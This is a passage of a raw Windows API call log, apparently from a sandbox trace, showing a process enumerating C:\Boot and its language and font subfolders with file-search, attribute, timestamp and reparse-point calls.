FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.850] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.850] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9842a0 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9fb60 [0138.850] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.850] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0138.850] GetLastError () returned 0x12 [0138.850] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.850] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.850] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.850] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0138.850] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0138.850] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0138.850] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0138.850] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0138.850] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0138.850] GetLastError () returned 0x12 [0138.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.851] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.851] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0138.851] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.851] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.901] CreateFileW (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0138.901] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.902] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.902] NtClose (Handle=0x194) returned 0x0 [0138.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.902] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.902] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.902] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9842c0 [0138.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9fbe8 [0138.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.902] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.902] GetLastError () returned 0x12 [0138.902] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.902] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.902] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.903] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.903] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.903] GetLastError () returned 0x12 [0138.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.903] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.903] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0138.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.903] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.903] CreateFileW (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.903] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.903] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.903] NtClose (Handle=0x15c) returned 0x0 [0138.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.904] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.904] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.904] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9842e0 [0138.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9fc70 [0138.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.904] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.904] GetLastError () returned 0x12 [0138.904] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.904] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.904] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.904] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.904] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.904] GetLastError () returned 0x12 [0138.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.904] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.905] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0138.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.905] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.914] CreateFileW (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0138.915] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.915] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.915] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.915] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.915] NtClose (Handle=0x194) returned 0x0 [0138.915] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.915] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.915] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.915] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.915] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.915] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.915] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.915] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.915] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.915] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.915] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.915] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.915] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984300 [0138.915] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9fcf8 [0138.915] 